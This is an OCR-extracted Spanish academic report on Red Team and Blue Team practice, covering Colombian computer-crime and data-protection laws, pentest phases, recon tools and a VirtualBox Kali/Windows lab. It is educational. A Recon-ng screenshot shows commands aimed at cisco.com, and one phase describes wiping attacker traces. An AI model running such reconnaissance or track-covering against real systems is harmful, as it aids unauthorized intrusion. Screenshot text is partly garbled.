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GLOSARIO

AMENAZA: Son las acciones que puede realizar un tercero para aprovechar las
vulnerabilidades del sistema y cometer un ataque, que puede llegar a la denegacion

de servicio o afectaciones en el mismo.

BLUE TEAM: Equipo encargado de analizar la seguridad de una organizacion, con
la finalidad de realizar Hardening a los sistemas y responder ante un posible ataque
de seguridad.

EXPLOIT: Es un software que aprovecha cualquier brecha de seguridad, previa la

realizacion de por ejemplo la ingenieria social.

FOOTPRINTING: Es una técnica que se utiliza para recolectar informacién publica,

gue no es necesario la interaccion con el objetivo.
HARDENING: Aseguramiento del sistema para evitar o minimizar los ataques.

MSFVENOM: Herramienta para la creacion de Payload, generando cargas Utiles

para varios sistemas operativos.

RED TEAM: Equipo encargado de realizar ataque a los sistemas de informacién de
una organizacion, haciendo uso de herramientas para la busqueda de

Vulnerabilidades.
PAYLOAD: Es parte de un Malware cuyo objetivo es realizar una accién maliciosa.

VULNERABILIDAD: Debilidad encontrada en los sistemas de informacion, esta se
puede presentar a nivel de Software o hardware, comprometiendo la seguridad de

las organizaciones.



RESUMEN

Por medio del siguiente informe técnico, se pretende dar a conocer las capacidades
técnicas, legales y la gestion de los equipos red team y blue team, en las
organizaciones, con la finalidad de entender los aspectos mas relevantes y el
funcionamiento de estos, para minimizar los impactos y construir un plan de

mejoramiento continuo, en cuanto a la seguridad de los sistemas informaticos.

En primera instancia se da a conocer las leyes que salvaguardan la informacion,
como los son laley 1273 de 2009, que protege y preserva los sistemas que manejan
tecnologias de la informacion, donde se tipifican como delitos una serie de hechos
con el manejo de los datos y la ley 1581 de 2012 en donde se regula el tratamiento

y recoleccion de los datos personales.

Como segunda instancia, logramos realizar un laboratorio en un ambiente
controlado donde se realizaba la indagacion sobre un caso de ingreso no autorizado
al sistema y manipulaciéon de un archivo relevante para el usuario, utilizando las
herramientas Msfvenom, Payload y exploit entre otros, realizado por el grupo Red
Team y para contrarrestar el ataque se trabajo como equipo Blue Team con la

finalidad de realizar Hardening en el equipo afectado.

Como tercera instancia, se generaron recomendaciones, para la aplicacion de los
grupos Read Team y Blue Team y aprovechar todo el conocimiento y seguridad que
estos pueden implementar en las organizaciones, ya que en la actualidad es muy

importante la ciberseguridad.

Palabras claves: Amenaza, Exploit, Hardening, Msfvenom, Payload



ABSTRACT

Through the following technical report, it is intended to make known the technical,
legal and management capabilities of the red team and blue team in organizations,
in order to understand the most relevant aspects and their operation, to minimize the
impacts and build a continuous improvement plan, regarding the security of

computer systems.

In the first instance, the laws that safeguard information are announced, such as law
1273 of 2009, which protects and preserves the systems that manage information
technologies, where a series of events with the management of information are
classified as crimes. Data and law 1581 of 2012 which regulates the processing and

collection of personal data.

As a second instance, we managed to carry out a laboratory in a controlled
environment where the investigation was carried out on a case of unauthorized entry
to the system and manipulation of a file relevant to the user, using the tools
msfvenom, payload and exploit among others, carried out by the red team group and
to counter the attack we worked as a blue team with the purpose of performing

hardening on the affected team.

As a third instance, recommendations were generated for the application of the read
team and blue team groups and take advantage of all the knowledge and security
that they can implement in organizations, since cybersecurity is currently very

important.

Keywords: Threat, Exploit, Hardening, Msfvenom, Payload
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INTRODUCCION

En la actualidad muchas de las empresas ya se estan preocupando cada dia mas
por la ciberseguridad, por tal razén es importante conocer cémo puede aportar a las
organizaciones, teniendo en cuenta que ahora el mundo esta conectado y al no
estar protegidos pueden tener como resultados, ataques como robo de informacion,

atagues a la infraestructura, suplantaciones, malware, ingenieria social, entre otros?.

De alli surge la necesidad de establecer medidas de seguridad, que ayuden a
mitigar y contrarrestar las posibles amenazas a las que se ven expuestas las
organizaciones a diario, por tal razén las funciones que realizan los grupos Red
Team, Blue Team y Purple Team son necesarias y muy Utiles, su implementacion
permite tanto la realizacién de pruebas de penetracion como la defensa ante un

ataque y aunque los grupos son diferentes, se complementan entre si.

L CISCO. ¢Qué es la ciberseguridad? Cisco [Sitio web]. [Consultado el 3, abril, 2024]. Disponible en
Internet:  <https://www.cisco.com/c/es_mx/products/security/what-is-cybersecurity.html#~tipos-de-
amenazas>.
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OBJETIVOS

1.1 OBJETIVOS GENERAL

Analizar las labores de un equipo Red Team & Blue Team de una organizacion

teniendo en cuenta el marco de los criterios éticos, legales y capacidades técnicas.
1.2 OBJETIVOS ESPECIFICOS
- ldentificar la ley 1273 de 2009 y ley 1581 de 2012.

- Exponer a partir del uso de metodologias y técnicas de intrusién las

vulnerabilidades que puede tener un sistema informatico.

- Realizar estrategias de contencién de ataques, por medio del andlisis de

vulnerabilidades y riesgos de una infraestructura.

12



2 LEY 1273 DE 2009 Y LEY 1581 DE 2012
Por medio de laley 1273 de 2009, se sancionan aquellos delitos que vayan en contra
de los pilares de la seguridad de la informacion, en donde se tipifican 9 delitos,

descritos en la tabla 1.

Tabla 1. Ley 1273 de 2009

ARTICULO TIPIFICACION MODALIDAD MODO
269 A Acceso abusivo a un | Acceso fisico o |La manera como
sistema informéatico remoto pueden acceder

abusivamente a

los sistemas
puede ser,
Phishing,

ingenieria social,
explotacion de
vulnerabilidades.

269 B Obstaculizacion ilegitima | Impedir u|Se puede

de sistema informético o | obstaculizar un | presentar ataques

red de sistema de | Dos, DDos,
telecomunicacion informacion ransomware
269 C Interceptacion de datos | Interceptacion de | Pueden
informaticos datos personales | presentarse
0 impersonales ataques con

trojanos, Ataque
MitB Man in the

browser o middle

13



269 D Dafio Informatico Dario informatico a | Se puede dar por
nivel légico o | dafio en la
fisico. infraestructura,

software malicioso
o defacement.

269 E Uso de software | Desarrollo, uso o | Software
malicioso distribucion malicioso

software.

269 F Violacion de  datos | Vulneracion de los | Utilizacion de
personales pilares de la | ingenieria social,

seguridad de la | phishing, Vishing.
informacion.

269 G Suplantacion de sitios | Se presenta la | Utilizacion de
web para capturar datos | implementacion, ingenieria social,
personales comercializacion o | explotacion de

desarrollo web vulnerabilidades,
phishing.

269 H Circunstancias de | Obteniendo Ingenieria social

agravacion punitiva

acceso a un

sistema
informatico o]
redes u
aprovechandose

de la confianza de
la persona que
tiene acceso a la

informacion.

14




transferencia no

consentida.

269 | Hurto por medios | Obtener un bien | Se puede
informaticos y | superando presentas SIM
semejantes medidas de | SWAP, Software

seguridad o | malicioso e
suplantando  un | ingenieria social.
usuario.

269 J Transferencia no | Manipulacion Utilizacion de
Consentida informética  que | ingenieria social,
de Activos llega a la | explotacion de

vulnerabilidades,

phishing.

Fuente: SECRETARIA GENERAL DEL SENADO. Leyes desde 1992 - Vigencia
expresa y control de constitucionalidad [LEY_1273 2009]. SECRETARIA GENERAL
DEL SENADO [Sitio web]. (31, diciembre, 2023). [Consultado el 15, febrero, 2024].

Disponible

en

Internet:

<http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html>.
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La ley 1581 DE 2012, tiene como objeto el derecho constitucional que tiene toda
persona a conocer, actualizar y modificar la informacidbn que se encuentra
relacionada en cualquier base de datos, en donde se pueda hacer uso de la
informacion alli contenida. En la tabla 2 se dan a conocer los aspectos mas
importantes de la ley.

Tabla 2. Ley 1581 de 2012

PRINCIPIOS Legalidad en el | Actividad reglamentada, que se

RECTORES tratamiento de datos debe sujetar a lo que esta ley
dispone.

De finalidad Se tiene una finalidad legitima

gue vaya en concordancia con la

ley y la constitucion.

De libertad Los datos solo se pueden
divulgar u obtener con el
conocimiento expreso del duefio

de los datos.

Veracidad o calidad Toda la informacién que este
Sujeta a tratamiento debe ser
veraz, clara , completa y exacta
y se prohibe que se de
tratamiento de datos

incompletos, errados o parciales.

Transparencia Se debe garantizar el derecho
del titular a obtener de quien
realice el tratamiento
informacion acerca de la

existencia de los datos.

16



Acceso 0 circulacion

Los limites se derivan segun la

restringida naturaleza de los datos, el
tratamiento solo se podra
realizar por personas
autorizadas por el titular de los
datos.

Seguridad Se debera asegurar que el

tratamiento de los datos se
realice con las medidas técnicas,

administrativas y humanas.

Confidencialidad

Aquellas personas que no
tengan naturaleza de publico
estin en la obligacion de
garantizar la reserva de la

informacion.

CATEGORIA
ESPECIAL
DATOS

DE

Datos sensibles

Conociéndose como  datos
sensibles aquellos que afectan la
intimidad del titular, en datos
sensibles se pueden relacionar
los siguientes:

- Origen racial o étnico

- Preferencia politica

- Religién

- Organizacion social

- Datos de salud

- Vida sexual

- Datos biométricos

Tratamiento de datos

sensibles (no se

Titular da su autorizaciéon

expresa, teniendo en cuenta

17




prohiben

en

siguientes casos)

los

aguellos que no se requiere

autorizacion por ley.

Cuando el titular se encuentra en
condicién de discapacidad y el
tratamiento se requiere para
salvaguardar el interés vital de la

persona.

Se realice el tratamiento en

actividades legitimas

Cuando se necesitan en virtud
del reconocimiento o defensa de
algin derecho en proceso

judicial.

Cuando se necesite para

estadisticas o finalidad histérica.

DERECHOS Y
CONDICIONES DE
LEGALIDAD PARA
EL TRATAMIENTO
DE DATOS.

Derechos

titulares

de

los

El Titular puede tener acceso a
su informacion y asi actualizar,

modificar o eliminar lo datos.

El titular puede solicitar la
autorizacion que dio para el

tratamiento de sus datos.

El titular debe ser informado
previa solicitud, sobre el uso de

sus datos.

El titular puede realizar una
gueja ante la superintendencia
de industria y comercio, por

fallas en la disposicion de esta

ley.

18




del

tratamiento si se vulnera o no se

Retirar la autorizacion

respeten los derechos, garantias

0 principios constitucionales.

Autorizacion del titular

El tratamiento requiere la
autorizacién informada y previa
del titular, en donde se pueda

posteriormente consultar.

Cuando no es | Se requiere por una entidad
necesaria la | publica
autorizacion
Datos son publicos
En casos de urgencia medica
Autorizado por ley
Datos que son relacionados con
el registro civil de las personas
Suministro de la | La informacion que necesite el
informacion titular, esta debe ser de facll
comprension y sin barreras que
impidan su lectura
Deber de informar al | Debe ser de forma clara
titular el responsable | El tratamiento al cual se
del tratamiento sometera sus datos.
Caracter facultativo
Derechos como titular
Los datos como: direccion,
teléfono e identificacion del

responsable del tratamiento.

Titulares, representantes legales

19




Personas a quienes se
les suministra la

informacion

Entidades publicas o]
administrativas segun su funcién

legal u orden judicial.

PROCEDIMIENTOS

Consultas

El titular o persona a cargo

puede solicitar consultar la
informacion que se encuentre en
cualquier base de datos y el
del

contara con 10 dias habiles o si

responsable tratamiento
se presenta algun inconveniente
tendrd un maximo de 5 dias méas

habiles.

Reclamos

El titular podr& realizar reclamo
del

los

ante el responsable

tratamiento, describiendo
hechos y los datos a los que
haya lugar, el reclamo sera
15

contados al dia siguiente de

atendido dias habiles

recibido el reclamo.

Requisito de

procedibilidad

Se podra levantar queja ante la
superintendencia de industria y
comercio después de agotado el
tiempo de solicitud o reclamo al
responsable del tratamiento.

MECANISMOS DE
VIGILANCIA Y
SANCION.

Autoridad de proteccion

de datos

La superintendencia de industria
y comercio a través de una de la

delegatura realizaran la

20




vigilancia para garantizar la

proteccion de datos personales.

Sanciones Multas de caracter institucional o
personal, de hasta 2.000 salarios

minimos LV.

Suspension de las actividades
relacionadas con el tratamiento

hasta por 6 meses.

Cierre temporal, si después de la
sancion no hubieren tomado las
medidas y mecanismo indicados

por la superintendencia.

Cierre inmediato y definitivo en
cuanto a la operacion que
trabaje con el tratamiento de

datos sensibles.

Criterios para graduar | El grado de peligro o dafio

las sanciones Beneficio econédmico

Reincidencia

Negativa o resistencia por la
investigacion de la

superintendencia.

Desacato a cumplir con las

normas que establece Ia

superintendencia.

Fuente: -------- . Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_1581 2012]. SECRETARIA GENERAL DEL SENADO [Sitio web]. (31,
diciembre, 2023). [Consultado el 17, febrero, 2024]. Disponible en Internet:

<http://www.secretariasenado.gov.co/senado/basedoc/ley 1581 2012.html>.

21



3 EL PENTESTING

Se basa en realizar ataques en diferentes sistemas o entornos, con el fin de
encontrar falencias y vulnerabilidades, con la finalidad de prevenir las fallas que

estas podrian ocurrir, a continuacion, se relacionaran las etapas de un pentesting?:

3.1 RECONOCIMIENTO

Con esta etapa se recolecta toda la informacién publica acerca del objetivo, teniendo

un reconocimiento activo o pasivo

- Reconocimiento Pasivo o también llamado footprinting, no deja ningun rastro
cuando recoge informacién sobre el objetivo, reuniendo datos y no es
necesario interactuar directamente con él.

- Reconocimiento Activo o también llamado fingerprinting: Deja algun rastro
digital, ya que interactia con el objeto que esta analizando y requiere de

permisos para realizar el analisis.

3.2 ESCANEO

Después de realizado el reconocimiento, se realiza un andlisis de vulnerabilidades.
una de las herramientas que se puede utilizar es Nmap, el cual se utiliza con la

autorizacion del sistema que se esta escaneando.

2 KEEPCODING. Fases de un pentest | KeepCoding Bootcamps. KeepCoding Bootcamps [Sitio
web]. (28, julio, 2023). [Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://keepcoding.io/blog/fases-de-un-pentest-ciberseguridad/>.

22



3.3 OBTENCION DE ESCANEO

Una vez se obtiene la lista de vulnerabilidades encontradas, un hacker ético debe

validar los tipos de exploit que existen para acceder a los sistemas.

3.4 MANTENIMIENTO DEL ACCESO

Esta etapa se encarga de establecer persistencia en el sistema, conociéndose como
fase de postexplotacion y en donde se pretenden realizar una escalada de

privilegios y probar un ataque real de manera controlada.

3.5 BORRADO DE HUELLAS

Después de realizar el ataque simulado, se debe eliminar cualquier evidencia que
pueda delatar el atacante, es lo que normalmente realiza un hacker malicioso y se

le llama digital footprint.

3.6 ELABORACION DEL REPORTE

Este paso es uno de los mas importantes, ya que con el informe que se realiza y
que debe ser bastante minucioso, se deben comunicar los hallazgos y amenazas
gue se encontraron en el sistema, para ello los auditores deben saber expresar
correctamente la informacion, ya que seran una pieza clave para el grupo Blue

Team.
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4 FOOTPRINTING

Es la primera opcidon que se tiene para recoger informacion sobre la red o el
hardware, es un procedimiento de exploracion en donde se debe recopilar toda la
informacion posible, hay dos tipos de footprinting®:

Huella activa: es cuando se realiza una huella al colocarse en contacto con la
maquina, también cuando se comparte informacién, completar formularios en linea

y también cuando se aceptan cookies en el navegador.

Huella pasiva: la impresion pasiva es cuando se obtiene informacion del sistema

ubicado remotamente, el usuario no se da cuenta al ser un proceso oculto.

4.1 HERRAMIENTAS PARA REALIZAR FOOTPRINTING

PHOTON: Esta herramienta es muy util para las técnicas OSINT, esta escrito en
Python y disponible en Github, esta herramienta puede extraer informacion tal como:

urls, correos, redes sociales, claves, archivos JavaScript,

Algunas de las caracteristicas de Photon son:

- Flexible

- Gestion inteligente de procesos

- Complementos

- Se puede inicializar utilizando una imagen Docker

- Actualizaciones frecuentes

3 CIBERSEG1922. Footprinting y fingerprinting | ciberseguridad. Ciberseguridad [Sitio web]. (9,
diciembre, 2019). [Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://ciberseguridad.com/amenzas/footprinting-fingerprinting/>.

4 GITHUB. GitHub - sOmd3v/photon: incredibly fast crawler designed for OSINT. GitHub [Sitio web].
[Consultado el 17, febrero, 2024]. Disponible en Internet: <https://github.com/sOmd3v/Photon>.
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Figura 1. Photon

Fuente: GITHUB. GitHub - sOmd3v/photon: incredibly fast crawler designed for
OSINT. GitHub [Sitio web]. [Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://github.com/sOmd3v/Photon>.

RECON-NG: es un marco para el reconocimiento web,escrito en Python. tiene
modulos  independientes, interaccion con bases de datos, funciones de
conveniencia integradas, ayuda interactiva y finalizacion de comandos, Recon-ng
proporciona un entorno poderoso en el que se puede realizar un reconocimiento

basado en web de cédigo abierto de manera rapida y exhaustiva.

Figura 2. Recon-NG

Sponsored by - - /N
ZONNZ /7 NNANN AN AN
Yy Vs BLACK HILLS \/ AN
www . blackhillsinfosec.com

[Frecon-mg va4.9.4, Tim Tomes (@LaNMaSteRS3)]

Recon modules
Reporting modules
Import modules

[S loitation modules

i ()
—

g

modules

7
8
2
2
2
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J[default] use recon/domains-vulnerabilities/xssed
2] [default][xssed] set SOURCE cisco.com

> cisco.com
zl[default][xssed] run

L
L
L
L
C
L
Lr
s
Cr

Fuente: KALI LINUX. Recon-ng | kali linux tools. Kali Linux [Sitio web]. (16, febrero,
2024). [Consultado el 17, febrero, 2024]. Disponible en Internet:

<https://www.kali.org/tools/recon-ng/>.
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MALTEGO: Es una herramienta que permite encontrar informacion de personas o
empresas, es su version gratuita la busqueda es limitada, pero bastante extensa,

Maltego recolecta informacién como?®:

- Red

- Dominio

- Correo electrénico
- Redes sociales

- Malware

Figura 3. Maltego

B " wBESERN = = Maitego CaseFile 4.4

v Investigate iew

RLR

New Copy Paste

Machines Collabor port | Expo
“ Qo - e

= C ne §33 Add Children
& Normal v Quick Find in Entity

Nelete Find Files Selection vert Selection &3 Add Similar Sij

Entity Palette

— * Recently Used *

New Graph (2) * X

Entidades de busqueda

Male
A man or boy

+ Devices

— Events

Conversation (Email)
A conv ation via email

.
Conversation (Phone)
A telephonic conversation

=r

Incident John Doe

Run View

Fuente: GONZALEZ, Sol. Maltego, la herramienta que te muestra qué tan expuesto
estas en Internet. Award-winning news, views, and insight from the ESET security
community [Sitio web]. (11, mayo, 2023). [Consultado el 18, febrero, 2024].
Disponible en Internet: <https://www.welivesecurity.com/la-es/2023/05/11/maltego-

herramienta-muestra-tan-expuesto-estas-internet/>.

5 GONZALEZ, Sol. Maltego, la herramienta que te muestra qué tan expuesto estas en Internet.
Award-winning news, views, and insight from the ESET security community [Sitio web]. (11, mayo,
2023). [Consultado el 18, febrero, 2024]. Disponible en Internet: <https://www.welivesecurity.com/la-
es/2023/05/11/maltego-herramienta-muestra-tan-expuesto-estas-internet/>.
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5 METASPLOIT

Es un marco de pruebas de penetracion, buscando simplificar la verificacion de

vulnerabilidades.

- Usa bases de datos sobre vulnerabilidades
- Automatiza tareas repetitivas
- Herramienta de aprendizaje

- Principios éticos

Los atacantes siempre estan desarrollando nuevos exploits y métodos de ataque,
el software de prueba de penetracion Metasploit ayuda a utilizar sus propias armas
contra ellos. Utilizando una base de datos de exploits en constante crecimiento,
puede simular de forma segura ataques reales en su red para capacitar a su equipo
de seguridad para detectar y detener los ataques reales.

Los principales componentes de un Metasploit se pueden observar en la Figura 4,

Figura 4 Arquitectura Metasploit

N erasploivr Arcliirtecrfiere

LIBRARIES INTERFACES

- Rex Console

.
L= BN )

MSF Core

- VWeb

PLUGINS -—MSF Base ¥
-

MODULES

FPayloads Exploits Encoders

Fuente: H1RD. Introduccién a metasploit. HLIRD.COM [Sitio web]. (2, agosto, 2017).
[Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://www.h1rd.com/hacking/Introduccion-a-metasploit>.
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6 ¢QUE ES UN CVE Y SU ESTRUCTURA?

El CVE es un reporte de alguna falla en seguridad informética, la cual se asocia un
namero de identificacién. Mitre corporation es la entidad que se encarga de
supervisar los CVE siendo financiado por la Agencia de Ciberseguridad y Seguridad
de la Infraestructura (CISA), que forma parte del Departamento de Seguridad

Nacional de Estados Unidos®.

Los identificadores de CVE son U(nicos asignados a vulnerabilidades de
ciberseguridad conocidos publicamente que afectan al software, el hardware y el

firmware.

EL objetivo que tienen los CVE es que las vulnerabilidades que han sido

encontradas sean de facil intercambio.

Estructura de un CVE’:

CVE-YYYY-NNNN

- Un nuevo CVE recibe una identificacion Unica
- Fecha de entrada
- Descripcion individual

- Campo de referencia

6 RED HAT. El concepto de CVE. Red Hat - We make open source technologies for the enterprise
[Sitio web]. (15, noviembre, 2021). [Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://www.redhat.com/es/topics/security/what-is-cve>.

-------- . ¢Qué es CVE? Explicaciéon de vulnerabilidades y exposiciones comunes. Ciberseguridad
[Sitio web]. (11, octubre, 2021). [Consultado el 17, febrero, 2024]. Disponible en Internet:
<https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-
comunes/>.
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Estados de un CVE:

- Reservado: Este es el estado inicial de un CVE ID.

- Publicado: una CNA ha completado los datos asociados con el ID CVE y ha
publicado el registro CVE.

- Rechazado: el ID CVE y el registro CVE asociado ya no deben usarse. Un
registro CVE rechazado permanece en la lista CVE para que los usuarios

sepan que el ID CVE y el registro CVE no son validos.

EXPLOITDBE: es una Sitio web que reline bases de datos con los exploit conocidos
y pueden ser utilizados de manera gratuita y utilizarlos en las auditorias de

seguridad, es creado por la compafiia Offensive Security.

La relacién que existe entre CVE y EXPLOITDB, es que muchos de los exploit
reportados cuentan una identificacion CVE, facilitando la correlacion entre Exploit y

vulnerabilidad.

8 KEEPCODING. ¢Qué es ExploitDB? | KeepCoding Bootcamps. KeepCoding Bootcamps [Sitio
web]. [Consultado el 17, febrero, 2024]. Disponible en Internet: <https://keepcoding.io/blog/que-es-
exploitdb/>.
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- I
N# Crear méquina virtual

Ayuda

V¥ Crear magquina virtual

Ayuda

7 BANCO DE TRABAJO

Figura 5. Configuracion MV Windows

Nombre y sistema operativo de la maquina virtual

Seleccione un nombre descriptivo y carpeta destino para la nueva maquina virtual. El nombre que seleccione serd usado por

VirtualBox para identificar esta maquina. Adicionalmente, puede seleccionar una imagen ISO que puede ser usada para
instalar el sistema operativo invitado.

Nombre: | WINDOWS_10 K4
Carpeta: ‘ C:\Users\JZHM\VirtualBox VMs e ‘

Imagen ISO: ‘ <no seleccionado> - ‘
Edicion:

Tipo:  Microsoft Windows

Version: | Windows 10 (64-bit)

Omitir instalacion desatendida

@ No hay imagen ISO seleccionada, el SO invitado serd necesario instalarlo manualmente.

Modo experto Anterior Cancelar

Fuente: Propia
Figura 6. Configuracion HW Windows

Hardware

Puede madificar el hardware de la méaquina virtual cambiando la cantidad de RAM y nimero de CPU virtuales.
También es posible habilitar EFL.

Memoria base: v 2048 MB | -

4 MB 32763 MB
Procesadores: y
1CPU 8 CPUs

[ ] Habilitar EFI (s6lo SO especiales)

Anterior Siguiente

Fuente: Propia
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Figura 7. Resumen configuracion Windows

!‘f Crear maquina virtual ? x

Resumen

La siguiente tabla resume la configuracion que ha elegido para la nueva maquina virtual. Cuando esté conforme
con la configuracién presione Finalizar para crear la maquina virtual. También puede volver atrds y modificar la
configuracién.

%:\; Nombre y tipo de SO de la maquina A
Nombre de maquina WINDOWS_10
Carpeta de la maquina C:/Users/JZHM/VirtualBox VMs/WINDOWS_10
Imagen ISO
Tipo de SO invitado Windows 10 (64-bit)
{:} Hardware
Memoria base 2048
Procesador(es) 1
Habilitar EFI false
Disco
Tamafio de disco 50,00 GB
Reservar tamafio completo false v

Ayuda Anterior Terminar

Fuente: Propia

Figura 8. Instalacion Windows

5 WINDOWS_10 [Corriendo] - Oracle VM VirtualBox — [} >

Archivo Maquina Ver Entrada Dispositivos Ayuda

4 Programa de instalacién de Windows

-uWindows'

Formate de hora ) PP E=paficl (México) =

Escribe tu idioma y otras preferenc ente" para continuar.

< >

@ bu: P 3

Fuente: Propia

£l &2 (] CTRL DERECHA
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Figura 9. Configuraciéon usuaria Windows

;Quién va a usar esta PC?

:Qué nombre quieres usar?

JzHM|

Siguiente

G @ Po w3 = e £ (& (&) cTRL DEREC
@7 %A ES Y CE ~Bmoaw e O

Fuente: Propia
Figura 10. Inicio Windows

@eiw ¢ = Ee &l (&) cTRL DERECH
S8 % - @ WS Y € C b ~G m oz » R

Fuente: Propia
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NF Crear maquina virtual

Ayuda

fl Crear maquina virtual

Ayuda

Figura 11 Configuracién MV Kali

Nombre y sistema operativo de la maquina virtual

Seleccione un nombre descriptivo y carpeta destino para la nueva maquina virtual. El nombre que seleccione sera usado por
VirtualBox para identificar esta maquina. Adicionalmente, puede seleccionar una imagen ISO que puede ser usada para
instalar el sistema operativo invitado.

Nombre: ‘Kali ‘ ¥
Carpeta: ‘ C:\Users\JZHM\VirtualBox VMs v

Imagen ISO: ‘ \7| C:\Users\JZHM\Downloads\kali-linux-2023.4-installer-amdé4.iso A
Edicion:

Tipo: |Linux E

Version: | Ubuntu (64-bit)
Omitir instalacién desatendida

@ Tipo de SO detectado: Ubuntu (64-bit). Este tipo de SO no puede ser instalado de forma desatendida. Es
necesario iniciar manualmente la instalacidn.

Modo experto Anterior Siguiente Cancelar

Fuente: Propia

Figura 12 Configuracion HW Kali

Hardware

Puede modificar el hardware de la maquina virtual cambiando la cantidad de RAM y niimero de CPU virtuales.
También es posible habilitar EFI.

Memoria base: y 4096 MB  ~
4 MB 32768 MB

Procesadores: y 1~
1CPU 8 CPUs

] Habilitar EFI (sélo SO especiales)

Siguiente Cancelar

Fuente: Propia
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Figura 13. Instalando Kali

\all [Lormenao] - LUracie VIivi VIrualsox

chivo Maquina Ver Entrada Dispositivos Ayuda

| KALI I

Cargar componentes del instalador desde los medios de instalacion

modules-6.5.0-kali3-amd64-di

Descargando nic-wire

Fuente: Propia

Figura 14. IP Kali

Kali [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

=P O]

/ o jzhm@kali: ~
_—fash File Actions Edit View Help

E eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet pEPRRUTERUNLE netmask 255.255.255.0 broadcast 192.168.0.255

Z inet6 fe80@::a00:27ff:fe72:757c prefixlen 64 scopeid 0x2@0<link>
File System ether 08:00:27 3 c txqueuelen 100@ (Ethernet)

RX packets 93 bytes 15956 (15.5 KiB)

RX errors @ dropped @ overruns @ f me ©

TX packets 35 bytes 11466 (11.1 KiB)

b2 TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

"the quieter you become, t

Fuente: Propia
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Figura 15. Ping desde Windows a Kali

Respuesta desde !
Respuesta desde |
Respuesta desde 1
Respues

uelta en milisegundos:

5, Media = éms

. ¥22p.m
D2 L B

Fuente: Propia

Figura 16. IP Windows

-

Yapelera de
reciclaje

Ada

= F1 o)

Fuente: Propia
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Figura 17. Ping desde Kali a Windows

.’; Kali [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
= P

T.// = jzhm@kali: ~
_—4fash File Actions Edit View Help

E 192.168.0.29

: PING 192.168.0.29 (192.168.0.29) 56(84) bytes of data.
File System 64 bytes from 192.168.0.2 icmp_seg=1 ttl=128
64 bytes from 192 icmp_seg-2
64 bytes from 192 icmp_seg-3
64 bytes from 192 icmp_seg-4
2 3 64 bytes from 192 icmp_seq=5
64 bytes from 192 icmp_seg-6
64 bytes from 192 icmp_seg-7
64 bytes from 192 icmp_seg-8
64 bytes from 192 icmp_seg-9
64 bytes from 192. icmp_seg-10@
64 bytes from 192. icmp_seg-11
64 bytes from 192. icmp_seg-12
64 bytes from 192. icmp_seg-13
64 bytes from 192. icmp_seg-14
64 bytes from 192. icmp_seg-15
64 bytes from 192. icmp_seg-16
64 bytes from 192. icmp_seg=17
64 bytes from 192. icmp_seg-18
64 bytes from 192.168.0. icmp_seg-19
=g
—— 192.168.0.29 ping statistics ——
19 packets transmitted, 19 received, 0% packet loss, time 1804@ms

NNNNNNNNNNNNNNNNNNAN

Fuente: Propia

Figura 18. Recursos de HW Maquina anfitriona
- Configuracién

@ Inicio Acerca de

El equipo esta supervisado y
protegido.

I Buscar una opcion de configuracion

Sistema
Ver detalles en Seguridad de Windows

= Almaceramiento Especificaciones del dispositivo

8 Tableta Nombre del dispositivo ~ DESKTOP-2AKICRA
Procesador Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz

St Multitareas 21 GHz
RAM instalada 32,0 GB (31,8 GB utilizable)

&1 Proyectar en este equipo Id. del dispositivo FBCEDB7C-75AD-4306-BC05-49A23F5BC027
Id. del producto 00330-80000-00000-AA088

Experiencias compartidas Tipo de sistema Sistema operativo de 64 bits, procesador x64

Lapiz y entrada tactil Compatibilidad con entrada tactil con 10

[ Portapapeles puntos tactiles

Fuente: Propia
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8 PROCESOS ILEGALES ANEXO 2 Y ANEXO 3

De acuerdo al anexo 2, el parrafo dos se torna ilegal ya que el acuerdo de
confidencialidad, fue realizado por un ex empleado y ademas por que no sali6 de la
empresa de una forma positiva, si no por el contrario, fue despedido por procesos
ilicitos, adicional el area de recursos humanos no tuvo en cuenta ninguna validacion

al acuerdo de confidencialidad.

Se realiza validacion del acuerdo de confidencialidad y se encontro las siguientes

inconsistencias:

Clausula Primera, “sobre procesos ilegales dentro de HackerHouse no podran ser

divulgados.”

Aqui nos estd indicando que la empresa realiza procesos ilegales y lo que
pretenden, es que los empleados no ejerzan de una manera honesta su labor, si no
gue se queden callados ante cualquier eventualidad, aunque bien es cierto que la
confidencialidad debe existir por el tipo de informacidén que se puede manejar en la

empresa, como datos sensibles, no se puede no divulgar los actos ilegales.

Clausula Segunda, datos secretos como “datos de chuzadas, interceptacion ilegal

de informacion, accesos abusivos a sistemas informaticos”.

La empresa esta diciendo abiertamente que interceptan informacion de una forma

ilegal, lo que no esta permitido segun la ley 1273 de 2009°

9 FISCALIA GENERAL DE LA NACION. Cartilla metodoldgica de atencion de delitos informaticos.
Fiscalia General de la Nacién [Sitio web]. (21, septiembre, 2023). [Consultado el 15, febrero, 2024].
Disponible en Internet: <https://www.fiscalia.gov.co/colombia/wp-content/uploads/Cartilla-
Metodologica-de-Atencion-de-Delitos-Informaticos.pdf>.
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Clausula Cuarta numeral 3, “No denunciar ante las autoridades actividades
sospechosas de espionaje o cualquier otro proceso en el cual intervenga la

apropiacion de informacion de terceros.”

Nuevamente nos muestran que la empresa realiza actividades que no estan

permitidas dentro de las leyes colombianas.

Clausula Cuarta numeral 4, “Responder por el mal uso que le den sus

representantes a la informaciéon confidencial.”

No es justo que la responsabilidad recaiga en un solo empleado, ya que el

tratamiento de la informacién se da por varias personas.

Clausula Cuarta numeral 5, “Responder ante las autoridades competentes como
responsable en caso de que la informacién se encuentre en su poder dentro de un

proceso de allanamiento.”

